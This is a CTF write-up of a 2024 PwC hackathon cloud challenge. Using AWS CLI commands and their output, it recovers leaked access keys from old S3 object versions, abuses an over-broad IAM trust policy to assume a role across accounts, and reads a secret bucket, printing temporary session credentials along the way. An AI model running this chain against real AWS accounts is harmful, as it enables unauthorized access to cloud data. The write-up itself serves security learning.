PwC Hack A Day Hackathon CTF Challenge 2024
Trying out cloud for the first time
Overview
Team Name: Off-White Hats
Position: 2 (Singapore: 2)
Score: 2400
Challenge
The first part of the challenge was solved by my teammate which gave a S3 bucket with a flag.txt
file which yields the flag. Unfortunately, the full challenge description is no longer accessible but it hinted at looking at file changes and old files
Part 2
Having some experience with AWS should tell you that S3 supports versioned buckets, allowing you to maintain different versions of objects. Using the AWS CLI, we can enumerate the versions of flag.txt
$ aws s3api list-object-versions --bucket 52c0eec687e00b18d8a1c761ea72288 --prefix flag
{
"Versions": [
{
"ETag": "\"d5d957f6ede2c3c30989f1712ed4456c\"",
"Size": 70,
"StorageClass": "STANDARD",
"Key": "flag.txt",
"VersionId": "lJDDR1Mf2VgeEaOfiwUtmWQtWgQzAB5R",
"IsLatest": true,
"LastModified": "2024-11-08T12:31:35+00:00",
"Owner": {
"ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
}
},
{
"ETag": "\"febffb0f24d28814e370b96f902c950f\"",
"Size": 71,
"StorageClass": "STANDARD",
"Key": "flag.xtxt",
"VersionId": "KjCs3l2ZKNtHVTKB1R8IdzoidxwuQwFt",
"IsLatest": false,
"LastModified": "2024-11-08T12:31:23+00:00",
"Owner": {
"ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
}
}
],
"RequestCharged": null
}
We notice there are 2 versions of the flag.txt
file. Using the VersionId
of the older entry, use the get-object
command to get the flag.
aws s3api get-object --bucket 52c0eec687e00b18d8a1c761ea72288 --key flag.txt --version-id KjCs3l2ZKNtHVTKB1R8IdzoidxwuQwFt flag2.txt
{
"AcceptRanges": "bytes",
"LastModified": "2024-11-08T12:31:23+00:00",
"ContentLength": 71,
"ETag": "\"febffb0f24d28814e370b96f902c950f\"",
"VersionId": "KjCs3l2ZKNtHVTKB1R8IdzoidxwuQwFt",
"ContentType": "text/plain",
"ServerSideEncryption": "AES256",
"Metadata": {}
}
In flag2.txt
, we can see the second flag.
Flag: hack{68dc3bf28a4d2819b8bf6dd54fcffd683a499474589ea0af0214835d86e3dfa6}
Part 3
Getting Non-Public Cloud Access
We are instructed to search more about gaining access. We see a suspicious file in the bucket called accessKeys.csv
.
$ aws s3 ls s3://52c0eec687e00b18d8a1c761ea72288
PRE Atlas/
2024-11-08 19:55:10 14002 403.jpg
2024-11-08 22:02:26 59 accessKeys.csv
2024-11-08 20:31:35 70 flag.txt
However, this file only shows redacted AWS keys.
Following the steps in part 2, we notice an older version of the accessKeys.csv
which has some real AWS keys.
$ aws s3api list-object-versions --bucket 52c0eec687e00b18d8a1c761ea72288 --prefix accessKeys
{
"Versions": [
{
"ETag": "\"67f5619da3683678cfb6a13010446825\"",
"Size": 59,
"StorageClass": "STANDARD",
"Key": "accessKeys.csv",
"VersionId": "TB2Xgy9lNzi9UGGfzFbNTKlnqSVeAP39",
"IsLatest": true,
"LastModified": "2024-11-08T14:02:26+00:00",
"Owner": {
"ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
}
},
{
"ETag": "\"f9ef272b5372b8eca25dbdfab333e4c0\"",
"Size": 99,
"StorageClass": "STANDARD",
"Key": "accessKeys.csv",
"VersionId": "kRzfbfT9ZxVpDTrVkikRTW6NOGp0QTQM",
"IsLatest": false,
"LastModified": "2024-11-08T14:01:08+00:00",
"Owner": {
"ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
}
}
],
"RequestCharged": null
}
$ aws s3api get-object --bucket 52c0eec687e00b18d8a1c761ea72288 --key accessKeys.csv --version-id kRzfbfT9ZxVpDTrVkikRTW6NOGp0QTQM accessKeys-old.csv
{
"AcceptRanges": "bytes",
"LastModified": "2024-11-08T14:01:08+00:00",
"ContentLength": 99,
"ETag": "\"f9ef272b5372b8eca25dbdfab333e4c0\"",
"VersionId": "kRzfbfT9ZxVpDTrVkikRTW6NOGp0QTQM",
"ContentType": "text/csv",
"ServerSideEncryption": "AES256",
"Metadata": {}
}
Cloud Exploration
With this key, we can use these credentials (either using the aws configure
command or configuring in the AWS configuration file ~/.aws/credentials) to explore some permissions and roles. Typically we want to find either what permissions our user has or what kind of permission vulnerabilities are there to see what resources we can access. AWS permissions can take the form of Users, Roles and Policies. So we can use the AWS CLI to access each one.
$ aws iam list-roles
{
"Roles": [
{
"Path": "/aws-service-role/organizations.amazonaws.com/",
"RoleName": "AWSServiceRoleForOrganizations",
"RoleId": "AROAXEVXYYS6KMOYSRH5X",
"Arn": "arn:aws:iam::491085415612:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations",
"CreateDate": "2024-11-04T06:34:39+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "organizations.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Service-linked role used by AWS Organizations to enable integration of other AWS services with Organizations.",
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/support.amazonaws.com/",
"RoleName": "AWSServiceRoleForSupport",
"RoleId": "AROAXEVXYYS6A7CMNWF5O",
"Arn": "arn:aws:iam::491085415612:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
"CreateDate": "2024-11-04T06:34:38+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "support.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Enables resource access for AWS to provide billing, administrative and support services",
"MaxSessionDuration": 3600
},
{
"Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
"RoleName": "AWSServiceRoleForTrustedAdvisor",
"RoleId": "AROAXEVXYYS6H3XYZP5BV",
"Arn": "arn:aws:iam::491085415612:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
"CreateDate": "2024-11-04T06:34:38+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "trustedadvisor.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "myOrganizationRole",
"RoleId": "AROAXEVXYYS6AAY6YYXF2",
"Arn": "arn:aws:iam::491085415612:role/myOrganizationRole",
"CreateDate": "2024-11-04T06:34:38+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::774305606767:root"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "secret_role",
"RoleId": "AROAXEVXYYS6CXJ3EUQ4X",
"Arn": "arn:aws:iam::491085415612:role/secret_role",
"CreateDate": "2024-11-08T12:23:29+00:00",
"AssumeRolePolicyDocument": {
"Version": "2008-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringLike": {
"aws:PrincipalArn": "arn:aws:iam::*:user/hackaday2024_*"
}
}
}
]
},
"Description": "",
"MaxSessionDuration": 3600
}
]
}
The first few roles are default AWS roles but the last 2 user-created roles are pretty interesting. Specifically secret_role
allows user to have the sts:AssumeRole
with a condition where the IAM ARN matches arn:aws:iam::*:user/hackaday2024_*
.
Assuming the Secret Role
We notice that the above role is vulnerable. If you are familiar with the ARN format, a user with any account-id
and a username starting with hackaday2024_
can simply assume the secret_role
role. This means we can use our personal account with a user named hackaday2024_
which should be able to assume this secret role.
On AWS console, we create a user with some credentials to access from our AWS CLI.
Don’t forget to run aws configure
or create a profile with these new credentials before continuing. With these credentials, let’s try to assume the secret role.
$ aws sts assume-role --role-arn arn:aws:iam::491085415612:role/secret_role --role-session-name MySessionName --region us-east-2
{
"Credentials": {
"AccessKeyId": "ASIAXEVXYYS6LSE6I2UQ",
"SecretAccessKey": "RsaPmBrW4oZHs/+frNfrK0POeuQKaaEUqiqrt5J5",
"SessionToken": "IQoJb3JpZ2luX2VjECwaCXVzLWVhc3QtMiJGMEQCIAfaYfRPf30a7E03ea6NkptxCs3jSN/vhf5HvkXGZ6/UAiBjRPs/A+AH0FSM+wEpVQv6b9eSK/yYCc+0XIXliOoxViqjAgi1//////////8BEAAaDDQ5MTA4NTQxNTYxMiIM4pfo0fT1UtKMACTLKvcBGI1D0lSDWyQnwuJ3rmHxtSjL6NlF3XLpkKjH8ywgwi8xbO1jzBqLuQRyFTuGjZt5s1Yhv2Mrj5C06omvDC3KXOTTJPGUygzPbxBw1OV4+QPdy6MHD7gGatosym7aAuiDfcF4WRCDeC3djtBxFyOuCXm98qc5zikiNNcPBXdm1U/C4YmM8QjNKXO/tuDxf/rpNFIufCGYNT/FFeI4iW1LKvFqSotAMTbcacvB406uavL3rWIiWsJRSkhmk0mXp83Uufpx+9CJekQL/3IDwzszabd1+QwkfPE6qphgHX4TeTISMpvi3h0SPmyi9QYYYEV14rxchDwPxTCqpMu5BjqeAc49627xDYA9geSFM5CDS0v0rycwTmRwLjJO7nj9+iqYntUhqOArr8kosYTufj6YDHYIgDMASeWCdTxy4jpuM2xUclfUx+o+pEnHfDxTC2tzR4/kHupFVCrs6rl9jr6wlk5ZVIiShLA9l2GkHe6WIb6z7dxtERRcIWJKrwRF0StIg+Kl22VcqhQYf0FOl76VeFirPq/gLGRGKDDIkK/L",
"Expiration": "2024-11-12T04:57:30+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "AROAXEVXYYS6CXJ3EUQ4X:MySessionName",
"Arn": "arn:aws:sts::491085415612:assumed-role/secret_role/MySessionName"
}
}
Success! We now have secret role permissions temporarily. To use them, we cannot use aws configure
, we must either use environment variables or profiles so we can set the session token as well. I chose to store it to a profile in .aws/credentials
called pwc
Trying to Access More Data
For most cloud CTF challenges, we want to get some flag in the end which is commonly in an S3 bucket. So let’s use the assumed credentials and list the buckets.
$ aws s3api list-buckets --profile pwc
{
"Buckets": [
{
"Name": "52c0eec687e00b18d8a1c761ea72288",
"CreationDate": "2024-11-08T11:44:18+00:00"
},
{
"Name": "secret-bucket-5904d88df6cc5fb0ebe2c7c674ca726",
"CreationDate": "2024-11-08T13:41:59+00:00"
}
],
"Owner": {
"DisplayName": "hackaday2024team1",
"ID": "7e64c01af211edff17c9d322fb0d82e07c9734f7fcce75c28a504e0371a10f37"
}
}
We see a secret bucket and when we list the files in it, we see a flag.txt which is already an indication of our final flag. Let’s dump this flag out!
$ aws s3 ls s3://secret-bucket-5904d88df6cc5fb0ebe2c7c674ca726 --profile pwc --region ap-east-1
2024-11-08 21:55:36 70 flag.txt
$ aws s3api get-object --bucket secret-bucket-5904d88df6cc5fb0ebe2c7c674ca726 --key flag.txt --profile pwc --region ap-east-1 flag3.txt
{
"AcceptRanges": "bytes",
"LastModified": "2024-11-08T13:55:36+00:00",
"ContentLength": 70,
"ETag": "\"90f80022c3c011532c6cbc6f620f61b2\"",
"ContentType": "text/plain",
"ServerSideEncryption": "AES256",
"Metadata": {}
}
Flag: hack{a547ddd25234cfbdebe36eee5fe8a9185f9130638836e09126b9a2c492f0a85e}